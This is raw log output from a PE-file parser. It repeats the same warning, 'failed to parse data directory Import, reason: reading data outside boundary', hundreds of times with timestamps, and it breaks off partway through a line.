level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading 